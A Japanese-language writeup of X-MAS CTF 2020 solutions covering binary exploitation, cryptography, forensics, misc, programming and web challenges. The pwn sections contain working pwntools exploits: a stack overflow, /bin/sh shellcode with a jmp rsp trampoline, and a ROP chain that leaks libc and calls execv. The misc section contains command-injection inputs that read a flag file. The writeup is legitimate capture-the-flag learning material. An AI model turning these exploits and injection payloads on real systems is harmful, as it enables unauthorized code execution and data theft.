X-MAS CTF 2020 Writeup

Sat Dec 19 2020

12/11-12/18 に開催された X-MAS CTF に参加しました。 長期開催でしたが、平日はほとんど着手できませんでした…結果としては 160/1409 でした。微妙… 例のごとく、備忘録のため解いた問題についての writeup を書きます。

!Sanity Check

フラグの形式を把握したり、 Discord へ参加したりしました。

Binary Exploitation

Do I know you?

│           0x00000859      488d45d0       lea rax, [s]
│           0x0000085d      4889c7         mov rdi, rax                ; char *s
│           0x00000860      b800000000     mov eax, 0
│           0x00000865      e846feffff     call sym.imp.gets           ;[3] ; char *gets(char *s)
│           0x0000086a      488b55f0       mov rdx, qword [var_10h]
│           0x0000086e      b8efbeadde     mov eax, 0xdeadbeef
│           0x00000873      4839c2         cmp rdx, rax
│       ┌─< 0x00000876      7522           jne 0x89a
│       │   0x00000878      488d3de90000.  lea rdi, str.X_MAS_Fake_flag._You_ll_get_the_real_one_from_the_server    ; 0x968 ; "X-MAS{Fake flag. You'll get the real one from the server }" ; const char *s
│       │   0x0000087f      e80cfeffff     call sym.imp.puts           ;[2] ; int puts(const char *s)

とあり、入力が 0xdeadbeef と一致しているかを確認しているだけです。

from pwn import *

p = remote("challs.xmas.htsp.ro", 2008)
elf = ELF("./chall")
context.binary = elf
p.sendlineafter("Hi there. Do I recognize you?\n", b"A"*32+pack(0xdeadbeef))
p.interactive()

X-MAS{ah_yes__i_d0_rememb3r_you}

Naughty?

スタックが 0x30 バイト確保されているが fgets で 0x47 バイト読みこむという脆弱性があります。しかし ROP をしようとすると、 0x47 - 0x30 - 0x8 = 0xf なので 1-2 回程度しか飛ぶことができません…さてどうするか。

セキュリティは

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

となっていました。めずらしく NX disabled ですね。

また入力する文字列のうち、0x2e バイト目が 0xe4ff と一致している必要がありました。なぜ 0xe4ff ?と思ってましたが、 pwntools の disasm で調べると、

'   0:   ff e4                   jmp    rsp'

でした。 NX disabled なことを考えるととても使いそう… しかし rsp に飛んだところで rsp には ret アドレスを除いた 0xf - 0x8 = 0x7 バイトしかなく、ここに /bin/sh のシェルコードを書くのは厳しそう。

なので、jmp rsp の先でさらに jmp することを考えました。 jmp のコードは相対値になっているらしいので、これで -0x40 飛んであげることで、入力する文字列の最初のほうを使うことができます。そこにシェルコードを書いてシェルを叩きました。

from pwn import *

p = remote("challs.xmas.htsp.ro", 2000)
elf = ELF("./chall")
context.binary = elf

payload = b""
# http://shell-storm.org/shellcode/files/shellcode-905.php
payload += b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05".ljust(
    0x30 - 0x2, b"\0"
)
payload += b"\xff\xe4"
payload += b"A" * 8
payload += pack(0x40067F)  # 0x000000000040067f : jmp rsp
# \xeb\xfe が現在のところにジャンプ
# 0x40 戻したいので \xeb\xbe
payload += b"\xeb\xbe"
print(payload)
p.sendlineafter("Tell Santa what you want for XMAS\n", payload)
p.interactive()

X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}

Ready for Xmas?

gets で任意長文字列が入力できるのと、 no canary なので ROP の問題。ただし注意点が3つあって、

  • payload に shcat の文字列を含んではいけない
    • ナイーブなシェルコードは sh が入っていたりするので厳しそう
  • main 関数の最初のほうに、 0x6010990 でなければ落ちる処理がある
  • main 関数の最後のほうに、 0x6010991 を書き込み、その後 mprotect で read only にしている
    • つまり ROP でただ main 関数に戻ってこようとすると落ちる

となっています。

シェルコードの方針は、 xor とか取れば sh を隠せるかなと思ったのですが、ちょっと詰まってしまったのでやめました。なので main に戻れないのを何とかする方針にしました。 mprotect で read only にしているということは、 mprotect に飛んで writable にしてあげることが可能なので、

  • mprotect(0x601099, 1, 2)
  • memset(0x601099, 0, 1)

と順に呼んであげれば、 main 関数に戻ってきても落ちることはありません。 なのでこれらの関数を呼び出せるような gadget を ROPgadget で探し回りました。

main 関数に戻れるようになれば、あとは GOT のリークで libc のアドレスを同定し、 /bin/sh のアドレスを rdi にいれて execv を呼ぶだけです。

from pwn import *

p = remote("challs.xmas.htsp.ro", 2001)
elf = ELF("./chall")
context.binary = elf

def send_payload(code):
    payload = b""
    payload += b"A" * 0x40
    payload += pack(0x601200)  # dummy for rbp
    payload += code
    p.sendlineafter("Hi. How are you doing today, good sir? Ready for Christmas?\n", payload)

rop = ROP(elf)
# got のリーク
rop.raw(rop.find_gadget(["pop rdi", "ret"]))
rop.raw(elf.got["puts"])
rop.raw(elf.plt["puts"])  # got puts がわかる
# 0x601099 を再び writable にする
# mprotect(0x601099, 1, 2) を呼びたい
rop.raw(0x4008e1)  # 0x00000000004008e1 : pop rsi ; pop r15 ; ret
rop.raw(1)  # rsi
rop.raw(2)
rop.raw(0x400786)  # 0x0000000000400786 : mov rdx, r15 ; nop ; pop rbp ; ret
rop.raw(0x601200)  # dummy for rbp
rop.raw(rop.find_gadget(["pop rdi", "ret"]))
rop.raw(0x601099)
rop.raw(elf.plt["mprotect"])
# 0x601099 に文字を書き込む
# memset(0x601099, 0, 1) を書き込む
rop.raw(0x4008e1)  # 0x00000000004008e1 : pop rsi ; pop r15 ; ret
rop.raw(0)  # rsi
rop.raw(1)
rop.raw(0x400786)  # 0x0000000000400786 : mov rdx, r15 ; nop ; pop rbp ; ret
rop.raw(0x601200)  # dummy for rbp
rop.raw(rop.find_gadget(["pop rdi", "ret"]))
rop.raw(0x601099)
rop.raw(elf.plt["memset"])
# main へ
rop.raw(0x40078c)

print(rop.dump())
send_payload(rop.chain())
puts_address = unpack(p.recvline().strip().ljust(8, b"\0"))

libc = ELF("./libc.so.6")
libc.address = puts_address - libc.symbols["puts"]
rop = ROP(libc)
rop.execv(next(libc.search(b"/bin/sh")), 0)
print(rop.dump())
send_payload(rop.chain())
p.interactive()

X-MAS{l00ks_lik3_y0u_4re_r3ady}

Cryptography

Santa's public key factory

RSA の問題。ある固定の message を、ランダムに生成した素数 p,qp, q (private key) を使って暗号化したものと、そのときの n,en, e が返されます。ただ、素数 pp, qq

0x80000000000000000000000000020000000000000000000040000000400040000000000000000000000000000400000000000200000000000000000000000000000000000000000000040000000000000000000000000100000000000000000000000040000000000000000000000000000000000000008000008000000003a7

のように一部の bit がたった値 (最大16bit) + α\alpha という形をしています。なので積で得られる nn もスパースな感じになります。

どこの bit が立つかは固定だが、立つかどうかはランダムなため、 255 回 nn を見ることでどの bit が立ちうるのかを統計的に推定することにします。

import binascii
from hashlib import sha256
from collections import Counter
from pwn import *
from Crypto.Util.number import long_to_bytes, inverse
from gmpy2 import next_prime


p = remote("challs.xmas.htsp.ro", 1000)
p.recvuntil("=")
check = p.recvline().strip().decode()
for i in range(10000000):
    tmp = sha256(long_to_bytes(i)).hexdigest()[-5:]
    if tmp == check:
        print("found")
        p.sendline(hex(i)[2:].rjust((len(hex(i)[2:]) + 1) // 2 * 2, "0"))
        break


# こからが本題

def find_sparse_one(n):
    s = bin(n)[2:]
    ans = []
    last_i = 31
    for i, c in enumerate(reversed(s)):
        if i < 31:
            continue
        if len(ans) > 0 and i - last_i < 13 and c == "1":
            ans[-1][1] = 1
            continue
        if c == "1":
            ans.append([i, 0])
            last_i = i
    return ans


enc_list = []
n_list = []
cnt0 = Counter()
cnt1 = Counter()
for i in range(255):
    print(i)
    p.recvuntil("3. exit\n")
    p.recvline()
    p.sendline("1")
    p.recvuntil("Here is the encrypted secret message: ")
    enc = int(p.recvline().strip()[:-1], 16)
    p.recvuntil("n: ")
    n = int(p.recvline().strip())
    e = 65537
    enc_list.append(enc)
    n_list.append(n)

    tmp = find_sparse_one(n)
    tmp0 = [t[0] for t in tmp if t[1] == 0 and t[0] < 1024]
    tmp1 = [t[0] for t in tmp if t[1] == 1 and t[0] < 1024]
    cnt0 += Counter(tmp0)
    cnt1 += Counter(tmp1)

# 最頻値の上位8は正解のビットを見つけられていると仮定し、総当り
idx = None
found_p = None
found_q = None
for i in range(2 ** 8):
    tmp = i
    index_of_one = []
    j = 0
    while tmp > 0:
        if tmp % 2 == 1:
            index_of_one.append(j)
        tmp //= 2
        j += 1
    res = 2 ** 1023
    for j in index_of_one:
        k = cnt1.most_common(16)[j][0]
        res += 2 ** k
    tmp_p = next_prime(res)
    for j, n in enumerate(n_list):
        if n % tmp_p == 0:
            q = n // tmp_p
            found_p = tmp_p
            found_q = q
            idx = j
            print(tmp_p, q)
assert idx is not None
enc = enc_list[idx]
n = n_list[idx]
phi = (found_p - 1) * (found_q - 1)
e = 65537
d = inverse(e, phi)
plaintext = long_to_bytes(pow(enc, d, n))
plaintext = binascii.hexlify(plaintext)
print(plaintext)
p.interactive()

X-MAS{M4yb3_50m3__m0re_r4nd0mn3s5_w0u1d_b3_n1ce_eb0b0506}

Help a Santa helper?

ハッシュを衝突させる問題。

入力を MM として、 MM をブロックごとに区切ったものを m0,m1,...mnm_0, m_1, ... m_n とします。 すると hash の計算は、

hash0=0hashi+1=mienc(hashimi)\begin{aligned} hash_0 &= 0 \\ hash_{i+1} &= m_{i} \oplus enc(hash_{i} \oplus m_{i}) \end{aligned}

と表されます。ここで enc は AES の encrypt 関数を意味します。 hashn+1hash_{n+1} が最終的な hash です。

最初に一回だけ好きな数を hash 化できます。これを試しに0としてみましょう。すると、

hash1=enc(0)hash_1 = enc(0)

が返ってきます。

2ブロックの入力を考え、 m0=0m_0 = 0 のとき、 m1m_1 によって hash はどうなるかを見てみます。

hash2=m1enc(enc(0)m1)hash_2 = m_1 \oplus enc(enc(0) \oplus m_1)

ここで、 m1=enc(0)m_1 = enc(0) としてあげると hash2=0hash_2 = 0 となります。

hash の方法が再帰的なことを考えると、 m2=m0=0m_2 = m_0 = 0, m3=m1=enc(0)m_3 = m_1 = enc(0) とすることで、 hash4=0hash_4 = 0 になることがわかります。 なので2入力を 0|enc(0)0|enc(0)|0|enc(0) にしてあげると hash が衝突します。

from hashlib import sha256
from pwn import *
from Crypto.Util.number import long_to_bytes


p = remote("challs.xmas.htsp.ro", 1004)
p.recvuntil("=")
check = p.recvline().strip().decode()
for i in range(10000000):
    tmp = sha256(long_to_bytes(i)).hexdigest()[-5:]
    if tmp == check:
        print("found")
        p.sendline(hex(i)[2:].rjust((len(hex(i)[2:]) + 1) // 2 * 2, "0"))
        break

p.sendlineafter("1. hash a message\n2. provide a collision\n3. exit\n\n", "1")
p.sendlineafter("Give me a message.\n", "00" * 16)
p.recvuntil("Here is your hash: b'")
e = p.recvline().strip()[:-2].decode()

p.sendlineafter("1. hash a message\n2. provide a collision\n3. exit\n\n", "2")
p.sendlineafter("Give me a message.\n", "00" * 16 + e)
p.sendlineafter("Give me a message.\n", ("00" * 16 + e) * 2)

p.interactive()

X-MAS{C0l1i5ion_4t7ack5_4r3_c0o1!_4ls0_ch3ck_0u7_NSUCRYPTO_fda233}

Forensics

Conversation

strings を叩いたら JP1ADIA7DJ5hLI9zpz9gK21upzgyqTyhM19bLKAsLI9hMKqsLz95MaWcMJ5xYJEuBQR3LmpkZwx5ZGL3AGS9Pt== という怪しげな文字列が出てきたので、 base64 decode してみますが、よくわからず… wireshark で開いてこの文字列を検索すると、会話が見れました。

Hello there, yakuhito
Hello, John! Nice to hear from you again. It's been a while.
I'm sorry about that... the folks at my company restrict our access to chat apps.
Do you have it?
Have what?
The thing.
Oh, sure. Here it comes:
JP1ADIA7DJ5hLI9zpz9gK21upzgyqTyhM19bLKAsLI9hMKqsLz95MaWcMJ5xYJEuBQR3LmpkZwx5ZGL3AGS9Pt==
Doesn't look like the thing
A guy like you should know what to do with it.
May I get a hint? :)
rot13
Got it. Thanks.

なるほど rot13 か。

X-MAS{Anna_from_marketing_has_a_new_boyfriend-da817c7129916751}

Misc

Complaint

よくわからなかったので適当なコマンドをいろいろ試した。

  • >&1>&2
    • 特に何もなし
  • ;echo a
    • 空白行が表示される。よくわからない
  • ;echo a;echo b
    • a と表示される
    • echo (入力値) >/dev/null みたいになっている?
  • ;ls;ls
    • ls の結果が表示される。 flag.txt が存在している
  • ;cat flag.txt;echo a
    • sh: 1: cat: not found
  • ;tee <flag.txt;ls
    • フラグ表示

X-MAS{h3ll0_k4r3n-8819d787dd38a397}

PMB

4回利率の計算をして金額が増えるが、途中で何かしらのロジックで0になってしまいます。 入力は any number とのことなので、試しに -99 を入れたところ特にエラーが起きることなく動いた。しかし2回目で0になってしまいました。

そもそも絶対値のことを abs でなく modulus と呼んでいることに違和感を覚え、試しに虚数をいれたらそれでも動きました。 99j を入力することでフラグが得られました。

X-MAS{th4t_1s_4n_1nt3r3st1ng_1nt3r3st_r4t3-0116c512b7615456}

Bobi's Whacked

問題となるコードやホスト名なども存在せず、何をするかわからなかったため、問題名でググりました。 youtube チャンネル を見つけました。 HackTheBox の解法を紹介しているっぽい?です。

それはそれとして、まず字幕のついた動画が2つあったので、文字起こしを見てみると、

X-MAS{nice_thisisjustthefirstpart
_congrats}

の2つが見つかりました。しかしこれらを結合させてもフラグにならず…

チャンネルの概要を見てみると 6D6964646C6570617274 という文字列があり、これを文字に変換すると middlepart となりました。 3つを組み合わせたものがフラグとなりました。 (ちょっとこの問題は不親切だと思う)

X-MAS{nice_thisisjustthefirstpartmiddlepart_congrats}

Whisper of Ascalon

よくわからない文字を読む問題。 問題文中の単語をググると、この文字は GW2 というゲーム?に関連していそうということがわかりました。 さらに調べると、アルファベットとの対応関係を見つけました。 https://www.pinterest.jp/pin/75505731229136004/

これをもとに文字を読むと、フラグが得られました。

GW2MYFAVORITEGAME

Programming

Biggest Lowest

与えられた配列をソートして、小さい方から k1 個、大きい方から k2 個出力するだけです。

import time
from pwn import *

now = time.time()
p = remote("challs.xmas.htsp.ro", 6051)
for i in range(50):
    print(i, time.time() - now)
    p.recvuntil("array = ")
    array = eval(p.recvline())
    p.recvuntil("k1 = ")
    k1 = int(p.recvline())
    p.recvuntil("k2 = ")
    k2 = int(p.recvline())
    array.sort()
    ans = str(array[:k1])[1:-1] + "; " + str(array[-k2:][::-1])[1:-1]
    p.sendline(ans)
print(p.recvall())

X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}

Least Greatest

gcd と lcm が与えられたときに、それを満たす (x,y)(x, y) の組がいくつあるかを答える問題。

x,yx, y の gcd, lcm をそれぞれ g,lg, l とすると、 gx0=x,gy0=ygx_0 = x, gy_0 = y (x0,y0x_0, y_0 は互いに素) という x0,y0x_0, y_0 が存在します。 gl=xygl = xy より、 l/g=x0y0l/g = x_0 y_0 ということがわかります。

なのでこの問題を言い換えると、g,lg, l が与えられたときに、 l/g=x0y0l/g = x_0 y_0 となる互いに素な x0,y0x_0, y_0 はいくつあるか、ということになります。 この問題に出てくる範囲では、 l/gl/g の値は factor で素因数分解可能でした。

n=l/gn = l/g として、 n=p1c1p2c2pmcmn = p_1^{c_1} p_2^{c_2} \cdots p_m^{c_m} と素因数分解されたとき、 n=x0y0n = x_0 y_0 となる互いに素な x0,y0x_0, y_02m2^m 個ということが示せます。 これは素因数 p1,p2,,pmp_1, p_2, \cdots, p_mx0,y0x_0, y_0 のどちらかに配分していくことを考えたときに、それぞれの素因数はどちらか片方に全部配分する必要があるからです (\because x0,y0x_0, y_0 は互いに素)。

import time
from collections import Counter
from itertools import product
import subprocess
import math
from pwn import *

now = time.time()
context.log_level = "DEBUG"
p = remote("challs.xmas.htsp.ro", 6050)

p.recvuntil("1/100")
for i in range(100):
    print(i, time.time() - now)
    p.recvuntil("gcd(x, y) = ")
    g = int(p.recvline().strip())
    p.recvuntil("lcm(x, y) = ")
    l = int(p.recvline().strip())
    assert l % g == 0
    num = l // g
    print(num)
    cmd = f"factor {num}"
    proc = subprocess.run(cmd.split(), stdout=subprocess.PIPE)
    factor = Counter(map(int, proc.stdout.split()[1:]))
    print(factor)

    ans = 2 ** len(factor)
    p.sendline(str(ans))
print(p.recvall())

(それにしても gcd などの大きさの制約が与えられないので解きづらかった…)

X-MAS{gr347es7_c0mm0n_d1v1s0r_4nd_l345t_c0mmon_mult1pl3_4r3_1n73rc0nn3ct3d}

Web Exploitation

PHP Master

<?php

include('flag.php');

$p1 = $_GET['param1'];
$p2 = $_GET['param2'];

if(!isset($p1) || !isset($p2)) {
    highlight_file(__FILE__);
    die();
}

if(strpos($p1, 'e') === false && strpos($p2, 'e') === false  && strlen($p1) === strlen($p2) && $p1 !== $p2 && $p1[0] != '0' && $p1 == $p2) {
    die($flag);
}

?>

つまり、

strpos($p1, 'e') === false && strpos($p2, 'e') === false  && strlen($p1) === strlen($p2) && $p1 !== $p2 && $p1[0] != '0' && $p1 == $p2

を満たす p1, p2 を見つけろ、という問題のようです。

最後の $p1 == $p2 が暗黙な型変換をされることを利用したいです。

  • p1=4.
  • p2=04

で通すことができました。

X-MAS{s0_php_m4ny_skillz-69acb43810ed4c42}

Santa's consolation

console.log("%c██████╗░██╗░░░░░██╗░░░██╗██╗░░░██╗██╗░░██╗\n\██╔══██╗██║░░░░░██║░░░██║██║░░░██║██║░██╔╝\n██████╦╝██║░░░░░██║░░░██║██║░░░██║█████═╝░\n██╔══██╗██║░░░░░██║░░░██║██║░░░██║██╔═██╗░\n██████╦╝███████╗╚██████╔╝╚██████╔╝██║░╚██╗\n╚═════╝░╚══════╝░╚═════╝░░╚═════╝░╚═╝░░╚═╝\n","color: #5cdb95");console.log("🐢 Javascript Challenge 🐢");console.log("Call win(<string>) with the correct parameter to get the flag");console.log("And don't forget to subscribe to our newsletter :D");
function check(s) {const k="MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg==";const k1=atob(k).split('').reverse().join('');return bobify(s)===k1;}
function bobify(s) {if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z')) return "[REDACTED]";const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]'); const s2 = encodeURI(s1).split('').map(c => c.charCodeAt(0)).join('|');const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2);return s3;}
function win(x){return check(x) ? "X-MAS{"+x+"}" : "[REDACTED]";}

というコードが走っています。 これを実行してみると、

Call win(<string>) with the correct parameter to get the flag

と言われます。

check 関数を見ると、

k1 = "REDACTED0000MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDk3fDM3fDUzfDY2fDM3fDUzfDY4fDExMHwzN3w1M3w2NnwzN3w1M3w2OHwxMTZ8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDExOXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEwNHwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHwxMjF8Mzd8NTN8NjZ8Mzd8NTN8Njh8NDh8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE3fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMTR8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTl8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTA1fDM3fDUzfDY2fDM3fDUzfDY4fDExN3wzN3w1M3w2NnwzN3w1M3w2OHwxMTB8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDEwMnwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE0fDM3fDUzfDY2fDM3fDUzfDY4fDEwNXwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE2"

bobify(s) を比較しています。

bobify 関数は、4, 3, 1, 7, _ をそれぞれ a, e, i, t, z に変換したあと、 URI encode などの処理をして、 D@\xc0\t1\x03\xd3M4 という文字列を先頭につけた後に btoa しています。 k1 をもう一度 atob してみますと、

"D@À	1ÓM4115|37|53|66|37|53|68|97|37|53|66|37|53|68|110|37|53|66|37|53|68|116|37|53|66|37|53|68|97|37|53|66|37|53|68|122|37|53|66|37|53|68|119|37|53|66|37|53|68|105|37|53|66|37|53|68|115|37|53|66|37|53|68|104|37|53|66|37|53|68|101|37|53|66|37|53|68|115|37|53|66|37|53|68|122|37|53|66|37|53|68|121|37|53|66|37|53|68|48|37|53|66|37|53|68|117|37|53|66|37|53|68|122|37|53|66|37|53|68|99|37|53|66|37|53|68|114|37|53|66|37|53|68|97|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|117|37|53|66|37|53|68|110|37|53|66|37|53|68|122|37|53|66|37|53|68|102|37|53|66|37|53|68|101|37|53|66|37|53|68|114|37|53|66|37|53|68|105|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|116"

となっていることがわかり、あとはこの | で区切られた数字を文字に変換してあげればいいだけです (最後のa→4等の変換を忘れずに)。

s = "115|37|53|66|37|53|68|97|37|53|66|37|53|68|110|37|53|66|37|53|68|116|37|53|66|37|53|68|97|37|53|66|37|53|68|122|37|53|66|37|53|68|119|37|53|66|37|53|68|105|37|53|66|37|53|68|115|37|53|66|37|53|68|104|37|53|66|37|53|68|101|37|53|66|37|53|68|115|37|53|66|37|53|68|122|37|53|66|37|53|68|121|37|53|66|37|53|68|48|37|53|66|37|53|68|117|37|53|66|37|53|68|122|37|53|66|37|53|68|99|37|53|66|37|53|68|114|37|53|66|37|53|68|97|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|117|37|53|66|37|53|68|110|37|53|66|37|53|68|122|37|53|66|37|53|68|102|37|53|66|37|53|68|101|37|53|66|37|53|68|114|37|53|66|37|53|68|105|37|53|66|37|53|68|99|37|53|66|37|53|68|105|37|53|66|37|53|68|116"
tmp = "".join(list(map(lambda x: chr(int(x)), s.split("|"))))
tmp = tmp.replace("%5B%5D", "")
tmp = tmp.replace("a", "4")
tmp = tmp.replace("e", "3")
tmp = tmp.replace("i", "1")
tmp = tmp.replace("t", "7")
tmp = tmp.replace("z", "_")
print(tmp)

X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17}